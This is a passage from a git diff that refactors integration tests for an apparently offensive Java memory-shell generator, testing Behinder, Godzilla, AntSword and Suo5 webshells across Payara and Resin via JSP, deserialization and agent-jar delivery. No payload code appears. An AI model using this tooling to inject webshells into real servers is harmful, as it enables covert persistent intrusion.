ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.AntSword, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar), arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java index 282c147b..eed7adfe 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.integration.payara; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -43,59 +43,59 @@ public class Payara5201ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.ScriptEngine), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.ScriptEngine), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.ScriptEngine), - arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.ScriptEngine), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.ScriptEngine), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngine), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.ScriptEngine), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.ScriptEngine), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.ScriptEngine), + arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.ScriptEngine), + arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.ScriptEngine), + arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.ScriptEngine), + arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.ScriptEngine), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java index 630eab40..b7ec535c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.integration.payara; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -43,44 +43,44 @@ public class Payara520225ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JSP), + arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JavaDeserialize), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java index c45260e8..d5359d7c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.integration.payara; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,36 +42,36 @@ public class Payara620222ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), - arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), - arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_FILTER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_LISTENER, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Behinder, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Command, Packers.JavaDeserialize), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Suo5, Packers.JSP), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Suo5, Packers.JavaDeserialize), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java index 359843fe..228dbbb4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.resin; -import com.reajason.javaweb.memshell.ResinShell; -import com.reajason.javaweb.memshell.config.Constants; -import com.reajason.javaweb.memshell.config.Server; -import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packers; +import com.reajason.javaweb.memshell.server.ResinShell; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -43,36 +43,36 @@ public class Resin3116ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize), - arguments(imageName, 